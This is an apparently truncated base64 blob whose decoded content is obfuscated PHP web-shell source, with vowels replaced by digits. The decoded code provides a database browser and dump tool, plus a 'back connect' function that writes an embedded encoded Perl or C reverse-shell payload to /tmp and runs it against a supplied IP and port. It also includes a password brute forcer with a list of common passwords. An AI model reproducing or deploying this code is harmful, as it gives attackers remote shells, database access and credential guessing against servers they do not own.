7DQoJCQkJCQkkdGg0c2JnID0gYmcoKTsNCgkJCQkJCXAoJzx0ciBjbDFzcz0iZjIzdCIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnZjIzdFwnOyI+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcjJ3WydGNDVsZCddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHIyd1snVHlwNSddLic8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHIyd1snTjNsbCddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPHRkPicuJHIyd1snSzV5J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcjJ3WydENWYxM2x0J10uJyZuYnNwOzwvdGQ+Jyk7DQoJCQkJCQlwKCc8dGQ+Jy4kcjJ3WydFeHRyMSddLicmbmJzcDs8L3RkPicpOw0KCQkJCQkJcCgnPC90cj4nKTsNCgkJCQkJfQ0KCQkJCQl0YmYyMnQoKTsNCgkJCQl9IDVsczU0ZiAoJGQyNG5nID09ICc0bnM1cnQnIHx8ICRkMjRuZyA9PSAnNWQ0dCcpIHsNCgkJCQkJJHI1czNsdCA9IHEoJ1NIT1cgQ09MVU1OUyBGUk9NICcuJHQxYmw1bjFtNSk7DQoJCQkJCXdoNGw1ICgkcjJ3ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCkpIHsNCgkJCQkJCSRyMndkYltdID0gJHIydzsNCgkJCQkJfQ0KCQkJCQkkcnMgPSAxcnIxeSgpOw0KCQkJCQk0ZiAoJGQyNG5nID09ICc0bnM1cnQnKSB7DQoJCQkJCQlwKCc8aGE+SW5zNXJ0IG41dyBsNG41IDRuICcuJHQxYmw1bjFtNS4nIHQxYmw1ICZyMXEzMjs8L2hhPicpOw0KCQkJCQl9IDVsczUgew0KCQkJCQkJcCgnPGhhPlVwZDF0NSByNWMycmQgNG4gJy4kdDFibDVuMW01LicgdDFibDUgJnIxcTMyOzwvaGE+Jyk7DQoJCQkJCQkkd2g1cjUgPSBiMXM1ZXVfZDVjMmQ1KCRiMXM1ZXUpOw0KCQkJCQkJJHI1czNsdCA9IHEoIlNFTEVDVCAqIEZST00gJHQxYmw1bjFtNSBXSEVSRSAkd2g1cjUgTElNSVQgNiIpOw0KCQkJCQkJJHJzID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCk7DQoJCQkJCX0NCgkJCQkJcCgnPGYycm0gbTV0aDJkPSJwMnN0IiAxY3Q0Mm49IicuJHM1bGYuJyI+Jyk7DQoJCQkJCXAoJGRiZjJybSk7DQoJCQkJCW0xazVoNGQ1KCcxY3Q0Mm4nLCdzcWwxZG00bicpOw0KCQkJCQltMWs1aDRkNSgndDFibDVuMW01JywkdDFibDVuMW01KTsNCgkJCQkJcCgnPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9Im8iIGM1bGxzcDFjNG5nPSIwIj4nKTsNCgkJCQkJZjJyNTFjaCAoJHIyd2RiIDFzICRyMncpIHsNCgkJCQkJCTRmICgkcnNbJHIyd1snRjQ1bGQnXV0pIHsNCgkJCQkJCQkkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCRyc1skcjJ3WydGNDVsZCddXSk7DQoJCQkJCQl9IDVsczUgew0KCQkJCQkJCSR2MWwzNSA9ICcnOw0KCQkJCQkJfQ0KCQkJCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQkJCQlwKCc8dHIgY2wxc3M9ImYyM3QiIDJubTIzczUydjVyPSJ0aDRzLmNsMXNzTjFtNT1cJ2YyYzNzXCc7IiAybm0yM3M1MjN0PSJ0aDRzLmNsMXNzTjFtNT1cJ2YyM3RcJzsiPicpOw0KCQkJCQkJcCgnPHRkPjxiPicuJHIyd1snRjQ1bGQnXS4nPC9iPjxiciAvPicuJHIyd1snVHlwNSddLic8L3RkPjx0ZD48dDV4dDFyNTEgY2wxc3M9IjFyNTEiIG4xbTU9IjRuczVydHNxbFsnLiRyMndbJ0Y0NWxkJ10uJ10iIHN0eWw1PSJ3NGR0aDppMDBweDtoNTRnaHQ6ZTBweDsydjVyZmwydzoxM3QyOyI+Jy4kdjFsMzUuJzwvdDV4dDFyNTE+PC90ZD48L3RyPicpOw0KCQkJCQl9DQoJCQkJCTRmICgkZDI0bmcgPT0gJzRuczVydCcpIHsNCgkJCQkJCXAoJzx0ciBjbDFzcz0iZjIzdCI+PHRkIGMybHNwMW49ImEiPjw0bnAzdCBjbDFzcz0iYnQiIHR5cDU9InMzYm00dCIgbjFtNT0iNG5zNXJ0IiB2MWwzNT0iSW5zNXJ0IiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJfSA1bHM1IHsNCgkJCQkJCXAoJzx0ciBjbDFzcz0iZjIzdCI+PHRkIGMybHNwMW49ImEiPjw0bnAzdCBjbDFzcz0iYnQiIHR5cDU9InMzYm00dCIgbjFtNT0iM3BkMXQ1IiB2MWwzNT0iVXBkMXQ1IiAvPjwvdGQ+PC90cj4nKTsNCgkJCQkJCW0xazVoNGQ1KCdiMXM1ZXUnLCAkYjFzNWV1KTsNCgkJCQkJfQ0KCQkJCQlwKCc8L3QxYmw1PjwvZjJybT4nKTsNCgkJCQl9IDVsczUgew0KCQkJCQkkcTM1cnlzID0gQDV4cGwyZDUoJzsnLCRzcWxfcTM1cnkpOw0KCQkJCQlmMnI1MWNoKCRxMzVyeXMgMXMgJG4zbT0+JHEzNXJ5KSB7DQoJCQkJCQk0ZiAoJHEzNXJ5KSB7DQoJCQkJCQkJcCgiPHA+PGI+UTM1cnkjeyRuM219IDogIi5odG1sc3A1YzQxbGNoMXJzKCRxMzVyeSxFTlRfUVVPVEVTKS4iPC9iPjwvcD4iKTsNCgkJCQkJCQlzdzR0Y2gocXkoJHEzNXJ5KSkNCgkJCQkJCQl7DQoJCQkJCQkJCWMxczUgMDoNCgkJCQkJCQkJCXAoJzxoYT5FcnIyciA6ICcubXlzcWxfNXJyMnIoKS4nPC9oYT4nKTsNCgkJCQkJCQkJCWJyNTFrOw0KCQkJCQkJCQljMXM1IDY6DQoJCQkJCQkJCQk0ZiAoc3RydDJsMnc1cihzM2JzdHIoJHEzNXJ5LDAsNm8pKSA9PSAnczVsNWN0ICogZnIybScpIHsNCgkJCQkJCQkJCQkkMWxsMnc1ZDR0ID0gNjsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCTRmICgkZzV0bjNtc3FsKSB7DQoJCQkJCQkJCQkJJHQxdDJsID0gbXlzcWxfbjNtX3Iyd3MocSgkZzV0bjNtc3FsKSk7DQoJCQkJCQkJCQkJJG0zbHQ0cDFnNSA9IG0zbHQ0KCR0MXQybCwgJHAxZzVuM20sICRwMWc1LCAkdDFibDVuMW01KTsNCgkJCQkJCQkJCX0NCgkJCQkJCQkJCTRmICghJHQxYmw1bjFtNSkgew0KCQkJCQkJCQkJCSRzcWxfbDRuNSA9IHN0cl9yNXBsMWM1KDFycjF5KCJcciIsICJcbiIsICJcdCIpLCAxcnIxeSgnICcsICcgJywgJyAnKSwgdHI0bShodG1sc3A1YzQxbGNoMXJzKCRxMzVyeSkpKTsNCgkJCQkJCQkJCQkkc3FsX2w0bjUgPSBwcjVnX3I1cGwxYzUoIi9cL1wqW14oXCpcLyldKlwqXC8vNCIsICIgIiwgJHNxbF9sNG41KTsNCgkJCQkJCQkJCQlwcjVnX20xdGNoXzFsbCgiL2ZyMm1ccytgezAsNn0oW1x3XSspYHswLDZ9XHMrLzQiLCRzcWxfbDRuNSwkbTF0Y2g1cyk7DQoJCQkJCQkJCQkJJHQxYmw1bjFtNSA9ICRtMXRjaDVzWzZdWzBdOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJJHI1czNsdCA9IHEoJHEzNXJ5KTsNCgkJCQkJCQkJCXAoJG0zbHQ0cDFnNSk7DQoJCQkJCQkJCQlwKCc8dDFibDUgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0ibyIgYzVsbHNwMWM0bmc9IjAiPicpOw0KCQkJCQkJCQkJcCgnPHRyIGNsMXNzPSJoNTFkIj4nKTsNCgkJCQkJCQkJCTRmICgkMWxsMnc1ZDR0KSBwKCc8dGQ+QWN0NDJuPC90ZD4nKTsNCgkJCQkJCQkJCSRmNDVsZG4zbSA9IEBteXNxbF9uM21fZjQ1bGRzKCRyNXMzbHQpOw0KCQkJCQkJCQkJZjJyKCQ0PTA7JDQ8JGY0NWxkbjNtOyQ0Kyspew0KCQkJCQkJCQkJCSRuMW01ID0gQG15c3FsX2Y0NWxkX24xbTUoJHI1czNsdCwgJDQpOw0KCQkJCQkJCQkJCSR0eXA1ID0gQG15c3FsX2Y0NWxkX3R5cDUoJHI1czNsdCwgJDQpOw0KCQkJCQkJCQkJCSRsNW4gPSBAbXlzcWxfZjQ1bGRfbDVuKCRyNXMzbHQsICQ0KTsNCgkJCQkJCQkJCQlwKCI8dGQgbjJ3cjFwPiRuMW01PGJyPjxzcDFuPiR0eXA1KCRsNW4pPC9zcDFuPjwvdGQ+Iik7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJd2g0bDUoJG1uID0gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMzbHQpKXsNCgkJCQkJCQkJCQkkdGg0c2JnID0gYmcoKTsNCgkJCQkJCQkJCQlwKCc8dHIgY2wxc3M9ImYyM3QiIDJubTIzczUydjVyPSJ0aDRzLmNsMXNzTjFtNT1cJ2YyYzNzXCc7IiAybm0yM3M1MjN0PSJ0aDRzLmNsMXNzTjFtNT1cJ2YyM3RcJzsiPicpOw0KCQkJCQkJCQkJCSR3aDVyNSA9ICR0bXAgPSAkYjYgPSAnJzsNCgkJCQkJCQkJCQlmMnI1MWNoKCRtbiAxcyAkazV5PT4kNG5zNGQ1KXsNCgkJCQkJCQkJCQkJNGYgKCQ0bnM0ZDUpIHsNCgkJCQkJCQkJCQkJCSR3aDVyNSAuPSAkdG1wLiRrNXkuIj0nIi4xZGRzbDFzaDVzKCQ0bnM0ZDUpLiInIjsNCgkJCQkJCQkJCQkJCSR0bXAgPSAnIEFORCAnOw0KCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCSRiNiAuPSAnPHRkIG4yd3IxcD4nLmh0bWxfY2w1MW4oJDRuczRkNSkuJyZuYnNwOzwvdGQ+JzsNCgkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJJHdoNXI1ID0gYjFzNWV1XzVuYzJkNSgkd2g1cjUpOw0KCQkJCQkJCQkJCTRmICgkMWxsMnc1ZDR0KSBwKCc8dGQgbjJ3cjFwPjwxIGhyNWY9ImoxdjFzY3I0cHQ6NWQ0dHI1YzJyZChcJzVkNHRcJywgXCcnLiR3aDVyNS4nXCcsIFwnJy4kdDFibDVuMW01LidcJyk7Ij5FZDR0PC8xPiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6NWQ0dHI1YzJyZChcJ2Q1bFwnLCBcJycuJHdoNXI1LidcJywgXCcnLiR0MWJsNW4xbTUuJ1wnKTsiPkQ1bDwvMT48L3RkPicpOw0KCQkJCQkJCQkJCXAoJGI2KTsNCgkJCQkJCQkJCQlwKCc8L3RyPicpOw0KCQkJCQkJCQkJCTNuczV0KCRiNik7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQl0YmYyMnQoKTsNCgkJCQkJCQkJCXAoJG0zbHQ0cDFnNSk7DQoJCQkJCQkJCQlicjUxazsNCgkJCQkJCQkJYzFzNSBhOg0KCQkJCQkJCQkJJDFyID0gbXlzcWxfMWZmNWN0NWRfcjJ3cygpOw0KCQkJCQkJCQkJcCgnPGhhPjFmZjVjdDVkIHIyd3MgOiA8Yj4nLiQxci4nPC9iPjwvaGE+Jyk7DQoJCQkJCQkJCQlicjUxazsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCQl9IDVsczUgew0KCQkJCSRxMzVyeSA9IHEoIlNIT1cgVEFCTEUgU1RBVFVTIik7DQoJCQkJJHQxYmw1X24zbSA9ICR0MWJsNV9yMndzID0gJGQxdDFfczR6NSA9IDA7DQoJCQkJJHQxYmw1ZGIgPSAxcnIxeSgpOw0KCQkJCXdoNGw1KCR0MWJsNSA9IG15c3FsX2Y1dGNoXzFycjF5KCRxMzVyeSkpIHsNCgkJCQkJJGQxdDFfczR6NSA9ICRkMXQxX3M0ejUgKyAkdDFibDVbJ0QxdDFfbDVuZ3RoJ107DQoJCQkJCSR0MWJsNV9yMndzID0gJHQxYmw1X3Iyd3MgKyAkdDFibDVbJ1Iyd3MnXTsNCgkJCQkJJHQxYmw1WydEMXQxX2w1bmd0aCddID0gczR6NWMyM250KCR0MWJsNVsnRDF0MV9sNW5ndGgnXSk7DQoJCQkJCSR0MWJsNV9uM20rKzsNCgkJCQkJJHQxYmw1ZGJbXSA9ICR0MWJsNTsNCgkJCQl9DQoJCQkJJGQxdDFfczR6NSA9IHM0ejVjMjNudCgkZDF0MV9zNHo1KTsNCgkJCQkzbnM1dCgkdDFibDUpOw0KCQkJCXAoJzx0MWJsNSBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSIwIiBjNWxsc3AxYzRuZz0iMCI+Jyk7DQoJCQkJcCgnPGYycm0gMWN0NDJuPSInLiRzNWxmLiciIG01dGgyZD0iUE9TVCI+Jyk7DQoJCQkJbTFrNWg0ZDUoJzFjdDQybicsJ3NxbDFkbTRuJyk7DQoJCQkJcCgkZGJmMnJtKTsNCgkJCQlwKCc8dHIgY2wxc3M9Img1MWQiPicpOw0KCQkJCXAoJzx0ZCB3NGR0aD0iYSUiIDFsNGduPSJjNW50NXIiPjw0bnAzdCBuMW01PSJjaGsxbGwiIHYxbDM1PSIybiIgdHlwNT0iY2g1Y2tiMngiIDJuY2w0Y2s9IkNoNWNrQWxsKHRoNHMuZjJybSkiIC8+PC90ZD4nKTsNCgkJCQlwKCc8dGQ+TjFtNTwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlIyd3M8L3RkPicpOw0KCQkJCXAoJzx0ZD5EMXQxX2w1bmd0aDwvdGQ+Jyk7DQoJCQkJcCgnPHRkPkNyNTF0NV90NG01PC90ZD4nKTsNCgkJCQlwKCc8dGQ+VXBkMXQ1X3Q0bTU8L3RkPicpOw0KCQkJCTRmICgkaDRnaHY1cikgew0KCQkJCQlwKCc8dGQ+RW5nNG41PC90ZD4nKTsNCgkJCQkJcCgnPHRkPkMybGwxdDQybjwvdGQ+Jyk7DQoJCQkJfQ0KCQkJCXAoJzwvdHI+Jyk7DQoJCQkJZjJyNTFjaCAoJHQxYmw1ZGIgMXMgJGs1eSA9PiAkdDFibDUpIHsNCgkJCQkJJHRoNHNiZyA9IGJnKCk7DQoJCQkJCXAoJzx0ciBjbDFzcz0iZjIzdCIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnZjIzdFwnOyI+Jyk7DQoJCQkJCXAoJzx0ZCAxbDRnbj0iYzVudDVyIiB3NGR0aD0iYSUiPjw0bnAzdCB0eXA1PSJjaDVja2IyeCIgbjFtNT0idDFibDVbXSIgdjFsMzU9IicuJHQxYmw1WydOMW01J10uJyIgLz48L3RkPicpOw0KCQkJCQlwKCc8dGQ+PDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1WydOMW01J10uJ1wnKTsiPicuJHQxYmw1WydOMW01J10uJzwvMT4gWyA8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVbJ04xbTUnXS4nXCcsIFwnNG5zNXJ0XCcpOyI+SW5zNXJ0PC8xPiB8IDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNVsnTjFtNSddLidcJywgXCdzdHIzY3QzcjVcJyk7Ij5TdHIzY3QzcjU8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpzNXR0MWJsNShcJycuJHQxYmw1WydOMW01J10uJ1wnLCBcJ2RyMnBcJyk7Ij5EcjJwPC8xPiBdPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHQxYmw1WydSMndzJ10uJzwvdGQ+Jyk7DQoJCQkJCXAoJzx0ZD4nLiR0MWJsNVsnRDF0MV9sNW5ndGgnXS4nPC90ZD4nKTsNCgkJCQkJcCgnPHRkPicuJHQxYmw1WydDcjUxdDVfdDRtNSddLic8L3RkPicpOw0KCQkJCQlwKCc8dGQ+Jy4kdDFibDVbJ1VwZDF0NV90NG01J10uJzwvdGQ+Jyk7DQoJCQkJCTRmICgkaDRnaHY1cikgew0KCQkJCQkJcCgnPHRkPicuJHQxYmw1WydFbmc0bjUnXS4nPC90ZD4nKTsNCgkJCQkJCXAoJzx0ZD4nLiR0MWJsNVsnQzJsbDF0NDJuJ10uJzwvdGQ+Jyk7DQoJCQkJCX0NCgkJCQkJcCgnPC90cj4nKTsNCgkJCQl9DQoJCQkJcCgnPHRyIGNsMXNzPWYyM3Q+Jyk7DQoJCQkJcCgnPHRkPiZuYnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPHRkPlQydDFsIHQxYmw1czogJy4kdDFibDVfbjNtLic8L3RkPicpOw0KCQkJCXAoJzx0ZD4nLiR0MWJsNV9yMndzLic8L3RkPicpOw0KCQkJCXAoJzx0ZD4nLiRkMXQxX3M0ejUuJzwvdGQ+Jyk7DQoJCQkJcCgnPHRkIGMybHNwMW49IicuKCRoNGdodjVyID8gdSA6IGEpLiciPiZuYnNwOzwvdGQ+Jyk7DQoJCQkJcCgnPC90cj4nKTsNCg0KCQkJCXAoIjx0ciBjbDFzcz1cImYyM3RcIj48dGQgYzJsc3Axbj1cIiIuKCRoNGdodjVyID8gOCA6IGUpLiJcIj48NG5wM3QgbjFtNT1cInMxdjUxc2Y0bDVcIiB2MWwzNT1cIjZcIiB0eXA1PVwiY2g1Y2tiMnhcIiAvPiBTMXY1IDFzIGY0bDUgPDRucDN0IGNsMXNzPVwiNG5wM3RcIiBuMW01PVwicDF0aFwiIHYxbDM1PVwiIi5TQV9ST09ULiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iX015U1FMLnNxbFwiIHR5cDU9XCJ0NXh0XCIgczR6NT1cImUwXCIgLz4gPDRucDN0IGNsMXNzPVwiYnRcIiB0eXA1PVwiczNibTR0XCIgbjFtNT1cImQyd25yMXJcIiB2MWwzNT1cIkV4cDJydCBzNWw1Y3Q0Mm4gdDFibDVcIiAvPjwvdGQ+PC90cj4iKTsNCgkJCQltMWs1aDRkNSgnZDI0bmcnLCdiMWNrM3BteXNxbCcpOw0KCQkJCWYycm1mMjJ0KCk7DQoJCQkJcCgiPC90MWJsNT4iKTsNCgkJCQlmcigkcTM1cnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXRiZjIydCgpOw0KCUBteXNxbF9jbDJzNSgpOw0KfS8vNW5kIHNxbCBiMWNrM3ANCg0KDQo1bHM1NGYgKCQxY3Q0Mm4gPT0gJ2IxY2tjMm5uNWN0Jykgew0KCSEkeTIzcjRwICYmICR5MjNyNHAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCgkhJHkyM3JwMnJ0ICYmICR5MjNycDJydCA9ICc2YW91aSc7DQoJJDNzNWRiID0gMXJyMXkoJ3A1cmwnPT4ncDVybCcsJ2MnPT4nYycpOw0KDQoJJGIxY2tfYzJubjVjdD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNEUXA2Y2FVZ1VhOWoxYVYwT3cwS0pHTnRaRDBnSW14aWJuZzRPdzBLSkhOaWNvUmxiVDBnSmFWajFHOGdJbUI2Ym1GdFpTQXRZV0E0T2FWaiIuDQoJCSIxRzhnSW1CcFpHQTRPeTk0MVd1dmNhZ25PdzBLSkRBOUpHTnRaRHNOQzRSMFlYSm5aWFE5SkVGU1I2WmJNRjA3RFEya2NHOXlkRDBrUVZKSFZsc3hYVHNOQzRScFlXUmtjajZwYm1WMFhhRjBiYXUySkhSIi4NCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjajJnSkNGY2I0SXBPdzBLSkhCaFpHUnlQWE52WWF0aFpHUnlYYWwzS0NSd2JvSjBMQ0FrMVdGa1pISXBJSHg4SUdScFpTZzRSWEp5Ym9JZUlDUWhYR3U0S1QiLg0KCQkic05DNFJ3Y205MGJ6Nm5aWFJ3Y205MGJhSmlibUZ0WlNnbmRHTndKeWs3RFFwemJhTnJaWFEyVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFg2TlVVa1ZCVFN3Z0pIQnlib1J2S1NCOGZDQmsxV1UySSIuDQoJCSJrVnljbTl5TzRBa0lWeDNJNGs3RFFwamJhaTNaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCazFXVTJJa1Z5Y205eU80QWtJVngzSTRrN0RRcHZjR1YzS0ZOVVJFbE9MQ0E0UDRaVFQwTkxSVlE0Ii4NCgkJIktUc05DbTl3Wld1MlU2UkVUNlZVTENBNFA0WlRUME5MUlZRNEtUc05DbTl3Wld1MlU2UkVSVkpTTENBNFA0WlRUME5MUlZRNEtUc05Dbk5pY29SbGJTZ2tjb2x6ZEdWdEtUc05DbU5zYm9ObEtGTlVSRWwiLg0KCQkiT0tUc05DbU5zYm9ObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQoJJGIxY2tfYzJubjVjdF9jPSJJYWwzWWF4NlpHVWdQSE4wWkdsdkxtZytEUTJqMVdpamJIVmtaU0E4Y29sekxvTnZZYXRsZENpMlBnMEtJYWwzWWF4NlpHVWdQR2lsZEdsM1pYUXYxV3UzMUR1TkNtbDNkQyIuDQoJCSJCdFlXbDNLR2wzZENCaGNtZGpMQ0JqMUdGeUlDcGhjbWRhVzYwcERRcDdEUTJnMVdpMElHWmtPdzBLSUhOMGNuVmpkQ0J6YmFOcllXUmtjbDlwYjRCejFXdTdEUTJnWWFoaGM0QnliWE5iTWpGZFBTSnliIi4NCgkJIlNBdFo0QTRPeUFOQzRCa1lXVnRiYXUyTVN3d0tUc05DNEJ6MVd1M2NhbDNYYVpoYldsczVTQTlJRUZHWDBsT1JWUTdEUTJnY2FsM0xuTnBibDl3Ym9KMElEMGcxSFJ2Ym5NMllYUnYxU2hoY21kYVd6SmQiLg0KCQkiS1NrN0RRMmdjYWwzTG5OcGJsOWhaR1J5TG5OZllXUmtjNEE5SUdsM1pYUmZZV1JrYzRoaGNtZGFXekZkS1RzZ0RRMmdZbnBsY204MllYSm5kbHN4WFN4emRISnNaV3UyWVhKbmRsc3hYU2tyTVN0emRISiIuDQoJCSJzWld1MllYSm5kbHN5WFNrcE95QU5DNEJtWkNBOUlITnZZYXRsZENoQlJsOUpUa1ZVTENCVFQwTkxYNk5VVWtWQlRTd2dTVkJRVWs5VVQ2OVVRNkFwSURzZ0RRMmcxV1lnS0NoamJhaTNaV04wS0daa0xDIi4NCgkJIkEyY29SeWRXTjBJSE52WWF0aFpHUnlJQzJwSUNaejFXdXNJSE5wNW1Wdlo0aHpkSEo2WW9RZ2NhOWoxYUZrWkhJcEtTazhNQ2tnNXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWWE5M2JtVmpkQ2dwSTRrN0QiLg0KCQkiUTJnSUNCbDVHbDBLREFwT3cwS0lIME5DNEJ6ZEhKallYUTJjbTZ6TENCaGNtZGFXekJkS1RzTkM0Qno1WE4wWlcwMmNtNnpLVHNnSUEwS0lHUjZjREkyWm1Rc0lEQXBPdzBLSUdSNmNESTJabVFzSURFcCIuDQoJCSJPdzBLSUdSNmNESTJabVFzSURJcE93MEtJR1Z1WldOc0tDSXZZbWwzTG9OMkk0dzRjYWdnTFdrNExDQk9WVXhNS1RzTkM0QmpiRzl6WlNobVpDazdJQTBLZlE9PSI7DQoNCgk0ZiAoJHN0MXJ0ICYmICR5MjNyNHAgJiYgJHkyM3JwMnJ0ICYmICQzczUpew0KCQk0ZiAoJDNzNSA9PSAncDVybCcpIHsNCgkJCWNmKCcvdG1wLzFuZzVsX2JjJywkYjFja19jMm5uNWN0KTsNCgkJCSRyNXMgPSA1eDVjM3Q1KHdoNGNoKCdwNXJsJykuIiAvdG1wLzFuZzVsX2JjICR5MjNyNHAgJHkyM3JwMnJ0ICYiKTsNCgkJfSA1bHM1IHsNCgkJCWNmKCcvdG1wLzFuZzVsX2JjLmMnLCRiMWNrX2Mybm41Y3RfYyk7DQoJCQkkcjVzID0gNXg1YzN0NSgnZ2NjIC0yIC90bXAvMW5nNWxfYmMgL3RtcC8xbmc1bF9iYy5jJyk7DQoJCQlAM25sNG5rKCcvdG1wLzFuZzVsX2JjLmMnKTsNCgkJCSRyNXMgPSA1eDVjM3Q1KCIvdG1wLzFuZzVsX2JjICR5MjNyNHAgJHkyM3JwMnJ0ICYiKTsNCgkJfQ0KCQltKCJOMncgc2NyNHB0IHRyeSBjMm5uNWN0IHQyICR5MjNyNHAgcDJydCAkeTIzcnAycnQgLi4uIik7DQoJfQ0KDQoJZjJybWg1MWQoMXJyMXkoJ3Q0dGw1Jz0+J0IxY2sgQzJubjVjdCcpKTsNCgltMWs1aDRkNSgnMWN0NDJuJywnYjFja2Mybm41Y3QnKTsNCglwKCc8cD4nKTsNCglwKCdZMjNyIElQOicpOw0KCW0xazU0bnAzdCgxcnIxeSgnbjFtNSc9Pid5MjNyNHAnLCdzNHo1Jz0+YTAsJ3YxbDM1Jz0+JHkyM3I0cCkpOw0KCXAoJ1kyM3IgUDJydDonKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4neTIzcnAycnQnLCdzNHo1Jz0+NmksJ3YxbDM1Jz0+JHkyM3JwMnJ0KSk7DQoJcCgnVXM1OicpOw0KCW0xazVzNWw1Y3QoMXJyMXkoJ24xbTUnPT4nM3M1JywnMnB0NDJuJz0+JDNzNWRiLCdzNWw1Y3Q1ZCc9PiQzczUpKTsNCgltMWs1NG5wM3QoMXJyMXkoJ24xbTUnPT4nc3QxcnQnLCd2MWwzNSc9PidTdDFydCcsJ3R5cDUnPT4nczNibTR0JywnY2wxc3MnPT4nYnQnKSk7DQoJcCgnPC9wPicpOw0KCWYycm1mMjJ0KCk7DQp9Ly81bmQgYjFja2Mybm41Y3QgdzRuZDJ3IHY0MSBOQw0KDQovLyBCcjN0NQ0KNWxzNTRmICgkMWN0NDJuID09ICdicjN0NScpIHsNCmYycm1oNTFkKDFycjF5KCd0NHRsNSc9PidCcjN0NSBGMnJjNXInKSk7DQoJbTFrNWg0ZDUoJzFjdDQybicsJ2JyM3Q1Jyk7DQoJbTFrNWg0ZDUoJ2Q0cicsJGJyM3Q1KTsNCkA0bjRfczV0KCdtNW0ycnlfbDRtNHQnLCA2MDAwMDAwMDAwMDAwKTsNCiRjMm5uNWN0X3Q0bTUyM3Q9aTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCiRzM2JtNHQgPSAkX1JFUVVFU1RbJ3MzYm00dCddOw0KJDNzNXJzID0gJF9SRVFVRVNUWyczczVycyddOw0KJHAxc3MgPSAkX1JFUVVFU1RbJ3Axc3N3MnJkcyddOw0KJHQxcmc1dCA9ICRfUkVRVUVTVFsndDFyZzV0J107DQokMnB0NDJuID0gJF9SRVFVRVNUWycycHQ0Mm4nXTsNCg0KDQokcDFzc2w0c3QgPSAiMDZhb3VpZQ0KMDZhb3VpZTcNCjA2YW91aWU3OA0KMDZhb3VpZTc4OQ0KMDZhb3VpZTc4OTANCjZhb3VpZQ0KNmFvdWllNw0KNmFvdWllNzgNCjZhb3VpZTc4OQ0KNmFvdWllNzg5MA0KNjY2NjY2DQowMDAwMDANCmFhYWFhYQ0Kb29vb29vDQp1dXV1dXUNCmlpaWlpaQ0KZWVlZWVlDQo3Nzc3NzcNCjg4ODg4OA0KOTk5OTk5DQo2YW82YW8NCnVpZXVpZQ0KNzg5Nzg5DQo2YW9vYTYNCnVpZWVpdQ0KZWl1b2E2DQo3ZWl1b2E2DQo4N2VpdW9hNg0KOTg3ZWl1b2E2DQowOTg3ZWl1b2E2DQoxZG00bg0KMWRtNG40c3RyMXQycg0KMWRtNG5jcA0KY3AxbjVsDQoxZG00bngNCjFkbTRucw0KcDFzc3cycmQNCnAxc3N3MnJkcw0KcDFzc3cwcmQNCnBAc3N3MHJkDQpwQHNzdzJyZA0Ka2gybmdjMg0KYWlhaTZvYWkNCnAxc3N3MHJkcyI7DQo0ZigkdDFyZzV0ID09ICcnKXsNCiR0MXJnNXQgPSAnbDJjMWxoMnN0JzsNCn0NCnByNG50ICIgPGQ0diAxbDRnbj0nYzVudDVyJz4NCg0KPGYycm0gbTV0aDJkPSdwMnN0JyBzdHlsNT0nYjJyZDVyOiA2cHggczJsNGQgIzAwMDAwMCc+PGJyPjxicj4NCjxUQUJMRSBzdHlsNT0nQk9SREVSLUNPTExBUFNFOiBjMmxsMXBzNScgYzVsbFNwMWM0bmc9MCBiMnJkNXJDMmwyckQxcms9IzllZTY2NyBjNWxsUDFkZDRuZz1pIHc0ZHRoPSd1MCUnIGJnQzJsMnI9I28wbzBvMCBiMnJkNXJDMmwyckw0Z2h0PSM5ZWU2NjcgYjJyZDVyPTY+PHRyPjx0ZD4NCjxiPiBUMXJnNXQgIDogPC9mMm50Pjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd0MXJnNXQnIHM0ejU9JzZlJyB2MWwzNT0gJHQxcmc1dCBzdHlsNT0nYjJy